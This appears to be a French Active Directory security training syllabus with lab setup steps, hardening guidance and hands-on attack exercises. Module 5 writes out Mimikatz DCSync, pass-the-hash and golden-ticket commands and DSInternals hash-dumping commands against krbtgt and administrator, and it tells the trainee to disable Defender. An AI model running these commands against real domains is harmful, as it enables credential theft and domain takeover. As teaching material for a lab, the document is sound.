Active Directory : les fondamentaux et la sécurité

Instructions pour démarrer la formation Active Directory

Etape 1 : les prérequis
Vous devez être administrateur de votre station de travail.
Vous devez disposer des sources d’installation Windows Server 2019.
Vous devez disposer des connaissances générales sur Windows Server.

Etape 2 : configuration de votre machine
Vérifier que vous disposez d’une machine avec un disque SSD disposant d’un minimum de 100 Go d’espace disque libre et de 8 Go de mémoire. Un disque SSD est un prérequis pour faire les travaux pratiques pour des raisons de performance.
Activer les instructions de virtualisation de votre machine (par défaut ce paramètre est actif).
Installer VirtualBox ou Hyper-V sur votre machine (Guide d’installation d’Hyper-V).

Etape 3 : création du réseau de l’environnement de maquette (pour Hyper-V uniquement) :
Créer un vSwitch appelé “NAT“.
Assigner à ce vSwitch l’adresse IP suivante : 192.168.140.1/24.
Configurer ce vSwitch pour disposer d’un réseau NAT dédié pour les machines virtuelles de l’environnement de maquette.
Un pas à pas est disponible à cette adresse :
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/user-guide/setup-nat-network

Etape 4 : création de la machine DC1 et DC2
Créer les machines virtuelles DC1 et DC2 avec 2 vCPU, 60 Go d’espace disque, 2048 Mo de mémoire, 1 carte réseau dans le vSwitch “NAT”. Si vous êtes sous Hyper-V, désactiver la mémoire dynamique sous Hyper-V et les snapshots automatiques.
Installer Windows Server 2019 sur cette machine virtuelle. Définir la configuration réseau suivante pour cette machine :
– IP : 192.168.140.10 et 192.168.140.11
– Masque de sous réseau : 255.255.255.0
– Passerelle : 192.168.140.1
– Serveur DNS : 192.168.140.10 et 192.168.140.11

Etape 5 : création de la machine d’administration sous Windows 2019 :
Créer une machine virtuelle appelée ADMIN1 avec 2vCPU, 50 Go d’espace disque, 2048 Mo de mémoire, 1 carte réseau dans le vSwitch “NAT”. Si vous êtes sous Hyper-V, désactiver la mémoire dynamique sous Hyper-V et les snapshots automatiques.
Installer Windows 2019 sur cette machine virtuelle. Définir la configuration réseau suivante pour cette machine :
– IP : 192.168.140.13
– Masque de sous réseau : 255.255.255.0
– Passerelle : 192.168.140.1
– Serveur DNS : 192.168.140.10 et 192.168.140.11

Début de la formation

Module 1 : notions fondamentales Active Directory
Commencer par suivre la formation présentée sur le site web Learning.rdr-it.com.
Lire ensuite le guide Administration Active Directory.

Mise en pratique : installation de la maquette
Déployer une forêt appelée FORMATIONXX.INTRA (où XX correspond à vos initiales) avec un domaine géré par 2 contrôleurs de domaine Windows Server 2019 appelés :
– DC1 : installer le serveur avec interface graphique avec les rôles de contrôleur de domaine et de serveur DNS avec l’IP 192.168.140.10/24
– DC2 : installer le serveur en mode Core avec les rôles de contrôleur de domaine et serveur DNS avec l’IP 192.168.140.11/24
Déployer une machine d’administration appelée ADMIN1 sous Windows 2019 avec l’IP 192.168.140.13/24.
Installer les RSAT AD / AD LDS (depuis la console Gestionnaire de Server) sur cette machine afin de disposer des outils d’administration Active Directory.
Effectuer l’ensemble des exercices du guide Administration Active Directory.

Mise en pratique : valider le bon fonctionnement de votre annuaire Active Directory et générer une documentation de votre annuaire :
Lancer une invite de commande PowerShell (en tant qu’administrateurs pour ne pas être limité par l’UAC) et taper la commande DCDIAG /v /e | Out-File -Append -FilePath c:\DCDIAG.TXT -Encoding UTF8 sur un de vos DC.
Cet outil permet de tester le bon fonctionnement de l’annuaire Active Directory (réplication, services démarrés…).
Lancer la console Gestionnaire de Server et générer un Best Practice Analyser pour le rôle Active Directory.

Vous pouvez vous appuyer sur le module PowerShell Active Directory pour lister les comptes utilisateurs non utilisés, lister les membres des principaux groupes d’administration ou lister les machines membres du domaine avec des versions d’OS non supportés.
Des exemples de scripts sont disponibles gratuitement depuis :
https://gallery.technet.microsoft.com/scriptcenter/Active-Directory-Reports-bb8c1cc7
https://github.com/edemilliere/BasicADReport/blob/master/ADReport.ps1
https://www.thelazyadministrator.com/2018/12/04/get-an-active-directory-interactive-html-report-with-powershell/

Le site web suivant référence de nombreux outils gratuits qui peuvent vous permettre d’effectuer un audit de votre annuaire Active Directory.
https://www.ittsystems.com/best-free-active-directory-tools/

Des outils comme ceux de la suite (https://www.sysmalogic.com) sont disponibles en version gratuite.
Télécharger l’outil Active Directory Topology Diagrammer depuis cette adresse :
https://www.microsoft.com/en-us/download/details.aspx?id=13380
Cet outil nécessite Visio (si cet outil ne fonctionne pas depuis Windows 2019, installer un serveur membre Windows 2008 R2 afin de générer les schéma). Des explications sont présentés dans ces articles sur le fonctionnement de cet outil :
https://sys-advisor.com/2012/12/11/installation-utilisation-de-active-directory-topology-diagrammer/
https://social.technet.microsoft.com/Forums/en-US/cf9001e7-e5f1-49f3-bd82-ae207ddc7961/active-directory-topology-diagrammer?forum=Office2016ITPro

Module 2 : architecture cible Active Directory
Lire le chapitre 1 du guide Tester la sécurité de son annuaire Active Directory.
Questi/sites/FlexsiAcademie/Active%20Directory/Tester%20la%20sécurité%20de%20son%20annuaire%20Active%20Directory%20V2.0.pdf?CT=1576413781783&OR=ItemsViewon 1 : dans quel cas créer une forêt avec plusieurs domaines ?
Question 2 : dans quel cas créer plusieurs forêts ?
Réponse 1 : Jamais !!!!!!!
Réponse 2 : forêts de ressource, forêts d’administration. Architecture plus complexe à mettre en oeuvre.

Module 3 : gouvernance Active Directory
Visionner la vidéo Msreport – gouvernance Active Directory.

Module 4 : délégation d’administration (Tier 0,1,2) et PAW (Privileged Access Workstation)
Visionner la vidéo Msreport – déléguer l’administration d’Active Directory- les fondamentaux.
Lire le chapitre 2 du guide Tester la sécurité de son annuaire Active Directory V2.pdf

La mise en oeuvre d’une politique de délégation et la création de station d’administration est un prérequis pour garantir un niveau de sécurité acceptable pour votre annuaire Active Directory. Le principe est de séparer l’administration du service Active Directory (Tier 0), l’administration des serveurs et des applications (Tier 1) et l’administration des stations de travail et des stations de travail standards (Tier 2). Les comptes d’administration Tier 0 ne pourront par exemple pas ouvrir de sessions sur les serveurs et les stations de travail. Un membre de l’équipe IT doit disposer :

– D’une machine d’administration (Privileged Access Workstation ou  PAW). Cette machine (physique) doit disposer de Windows 10 Enterprise. Son niveau de sécurité doit être renforcée avec les paramètres de GPO fournis en libre téléchargement (Microsoft Security Compliance Toolkit 1.0). Les machines d’administration ont un accès Internet restreint, BitLocker activé, Credential Guard (Windows 10 Enterprise requis) activé, Device Guard activé (Windows 10 Enterprise requis), pare feu activé. Seuls certains comptes utilisateurs peuvent se connecter à ces machines.
D’une station de travail standard : l’utilisateur peut disposer d’une seconde machine physique ou déployer une VM Hyper-V (ou équivalent) sur sa machine d’administration ou disposer d’un accès Remote Desktop. Cette station de travail standard doit permettre à l’utilisateurs de travailler comme un utilisateur standard (accéder à ses emails ou de naviguer sur Internet…).

Lire les documents ci-dessous qui présentent en détail comment déployer le modèle d’administration Tier 0,1,2 d’Active Directory et comment déployer des PAW (Privileged Access Workstations) :
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/privileged-access-workstations
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material

Mise en pratique :
Créer une OU appelé HR. Déléguer aux utilisateurs de l’équipe RH le droit de gérer uniquement l’attribut C, Co, CountryCode, l, Street, Job Title, Title.
Vous devez pour cela modifier le fichier dssec.dat sur le contrôleur de domaine selon l’article :
https://support.microsoft.com/en-us/help/296490/how-to-modify-the-filtered-properties-of-an-object-in-acl-editor-for-d

Déployer le modèle de délégation d’administration Tier 0, Tier 1 et Tier 2 comme expliqué dans l’article
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/privileged-access-workstations#phase-1-immediate-deployment-for-active-directory-administrators
Microsoft met à disposition des scripts PowerShell pour créer les OUs, les groupes et les permissions requis par le modèle de délégation d’administration Tier 0, Tier 1 et Tier 2.
Microsoft met aussi à disposition les paramètres de GPOs à déployer sur les machines d’administration. Pour cela, il faut télécharger le Microsoft Security Compliance Toolkit 1.0 et sélectionner le fichier ZIP correspondant à votre OS.

Analyser en détail le code du script PowerShell Set-PAWOUDelegation.ps1.
Quelle est la commande PowerShell pour définir des permissions dans l’annuaire Active Directory ?

Module 5 : la sécurité d’Active Directory 
Visionner la vidéo Msreport – vue d’ensemble de la sécurité Active Directory.

Lire ensuite le guide Tester la securite de son annuaire Active Directory en 2020.pptx.

Les chiffres actualisés sur le coût des Cyberattaques sont disponibles à l’adresse suivante :
Le coût des cyberattaques explose partout dans le monde

Visionner la vidéo Msreport – tester la sécurité de son annuaire Active Directory (Techdays – février 2015).
Cette dernière présente de nombreuses techniques d’attaques avec les commentaires.
Le guide Tester la sécurité de son annuaire Active Directory V2.0 qui reprend les éléments de la vidéo.
Les vidéos sans commentaire de ces attaques sont disponibles aussi :
Msreport – récupérer le NTHASH – LMHASH des utilisateurs avec LIBESEDB et NTDSXTRACT
Msreport – devenir administrateur local en démarrant sur un DVD d’insallation de Windows
Msreport – récupérer le mot de passe d’un compte de service
Msreport – récupérer le login et mot de passe d’un compte lors d’une authentification LDAP Bind Simple
Msreport – élévation de privilège via injection de SID History
Msreport – utiliser Metasploit pour générer une défaillance d’un serveur

Visionner la vidéo Msreport – les élévations de privilèges Active Directory et comment les détecter.
Elle présente des attaques plus modernes avec des outils comme Mimikatz, DSInternals.

Mise en pratique : Ping Castle et Mimikatz
Télécharger Ping Castle. L’outil est gratuit.
Faire un bilan de santé de votre annuaire (paramètre par défaut).
Refaire les exercices de toutes les vidéos ci-dessus.
Se loguer en tant qu’administrateur du domaine (avec le compte FORMATIONXX\administrator).
Installer DSINternal. Cela s’effectue simplement avec PowerShell à l’aide des commandes suivantes :
Set-ExecutionPolicy Unrestricted
install-module Dsinternals
Get-ADReplAccount -SamAccountName krbtgt -Domain FORMATION -Server DC1.formationXX.intra
Get-ADReplAccount -SamAccountName administrator -Domain FORMATION -Server DC1.formationXX.intra
XX correspond à vos initiales.
Noter le NTHASH des comptes utilisateurs krbtgt et administrator. Ils sont nécessaires pour la suite de l’exercice.

Télécharger Mimikatz.
Il sera nécessaire de désactiver l’antivirus Windows Defender sur la machine ADMIN1 et d’utiliser Internet Explorer pour télécharger cet exécutable.

Mise en pratique : récupérer le LMhash / NTHASH d’un utilisateur (ancienne méthode) :
On va pour cela utiliser l’outil LIBESEDB et NTDSXTRACT (voir vidéo ci-dessus).
On notera que le module PowerShell DSINternals permet de faire cela beaucoup plus facilement maintenant.

Mise en pratique : attaque DCSYNC
Lancer Mimikatz et exécuter les commandes suivantes :
privilege::debug
lsadump::dcsync /user:krbtgt

On notera que le module PowerShell DSINternals permet de faire cela beaucoup plus facilement maintenant.

Mise en pratique : attaque NTLM Pass The Hash :
Lancer Mimikatz et exécuter les commandes suivantes :
sekurlsa::pth /user:administrator /domain:FORMATION /ntlm:abfc3e6527789f4b6ed36a63315a2ec8 /run:powershell
Remplacer bfc3e6527789f4b6ed36a63315a2ec8 par la valeur du NTHASH du compte administrator obtenu à l’étape précédente.

Mise en pratique : attaque Golden Ticket 
Obtenir le SID de votre domaine avec la commande Get-AdDomain.
Lancer Mimikatz et exécuter les commandes suivantes :
privilege::debug
kerberos::golden /user:administrator /domain:formationXX.intra /sid:S-1-5-21-3815459336-2235161617-1670922636 /krbtgt:6f416c42b3e19a7b027d05ffd63146d1 /ptt

Vous devez saisir la valeur du SID du domaine et du compte KRBTGT obtenue aux étapes précédentes.

Mise en pratique : réinitialisation de KRBTGT :
En cas de suspicion d’attaque Golden Ticket, il faut réinitialiser le mot de passe du compte utilisateur KRBTGT 2 fois. Attendre au minimum 10h (durée de vie d’un TGT) + temps de réplication de l’AD entre les 2 tentatives (en pratique attendre au minimum 24h).
Microsoft fournit un script qui vérifie tous les prérequis pour réinitialiser le mot de passe du compte KRBTGT à l’adresse suivante :
https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51
C’est ce script qui doit être utilisé.
Le changement de mot de passe du compte utilisateur KRBTGT doit aussi être effectué régulièrement (tous les ans).

Se loguer avec un compte utilisateur sans privilège sur le domaine.
Réinitialiser un première fois le mot de passe du compte utilisateur KRBTGT avec le script PowerShell.
Générer un Golden tickets pour le compte formationXX\administrator avec la procédure ci-dessus et se connecter au partage administrateur d’un contrôleur de domaine. Cela doit continuer à fonctionner. Faire un klist.
Attendre 24h.
Fermer la session et la réouvrir 
avec un compte utilisateur sans privilège sur le domaine.
Réinitialiser une seconde fois le mot de passe de KRBTGT avec toujours le script PowerShell Microsoft.
Générer le même Golden Ticket. Essayer de se connecter au partage administratif. Cela doit échouer.

Mise en pratique : utilisation de Metasploit
Visionner la vidéo sur l’utilisation de Metasploit pour générer une défaillance (écran bleu) sur un serveur non mis à jour.
Utilisation de Metasploit pour générer une défaillance (écran bleu) sur un serveur non mis à jour
Télécharger la solution Metasploit Communauty.
Lire le guide Pentesting avec Metasploit.

Module 6 : les stratégies de mots de passe
Lire le chapitre 3 du guide Tester la sécurité de son annuaire Active Directory.

Mise en pratique : création d’un annuaire Azure AD
Créer un tenant Office 365 E5 d’évaluation comme expliqué dans le chapitre 2 du guide A la découverte d’Office 365.
Activer une souscription EMS E5 d’évaluation comme expliqué dans l’article :
https://docs.microsoft.com/en-us/office365/admin/subscriptions-and-billing/buy-or-edit-an-add-on?view=o365-worldwide
Déployer la solution Azure AD Connect sur un des contrôleurs de domaine selon la procédure expliquée dans le chapitre 7 du guide A la découverte d’Office 365. Activer le module SSPR d’Azure AD Connect comme expliqué dans l’article
https://docs.microsoft.com/en-us/azure/active-directory/authentication/quickstart-sspr
Télécharger et déployer la solution LAPS. La documentation de déploiement est fournie avec l’exécutable. Attention, LAPS nécessite de mettre à jour le schéma Active Directory. Cette opération doit être préparée avant d’être effectuée en production.

Module 7 : Kerberos, LDAPS, NTLM
Lire le guide Tester la sécurité de son annuaire Active Directory.
Attention, les contrôleurs de domaine Windows 2019 rencontre des problèmes pour faire des authentifications Kerberos avec le mécanisme de dérivation de clés RC4.
https://social.technet.microsoft.com/Forums/windowsserver/en-US/7420a288-7111-458a-bf32-efad80d5e5e5/server-2019-dc-kerberos-rc4-authentication?forum=ws2019
https://answers.microsoft.com/en-us/windows/forum/all/server-2019-dc-kerberos-rc4/aacdfac0-a899-43a8-874e-bb2b1508e294
Pas de solution connue pour le moment à ce problème mis à part un retour arrière en déployant des contrôleurs de domaine Windows 2016.
​​​​​​​
Mise en pratique : installation d’une autorité de certification, désactivation NTLM V1 et paramétrage de Kerberos
Déployer une autorité de certification d’entreprise comme expliquée au chapitre 8.1 du guide Tester la sécurité de son annuaire Active Directory.
Déployer une autorité de certification appelée FORMATIONXX (où XX correspond à vos initiales). Mettre SHA256 comme algorithme de hash.
Générer des certificats LDAPS pour les contrôleurs de domaine.
Désactiver le LDAP BIND SIMPLE.
Désactiver NTLM V1. Ne pas désactiver NTLM V2.
Activer les protocoles de dérivation de clés Kerberos moderne​​​​​​ (AES 128 et AES 256)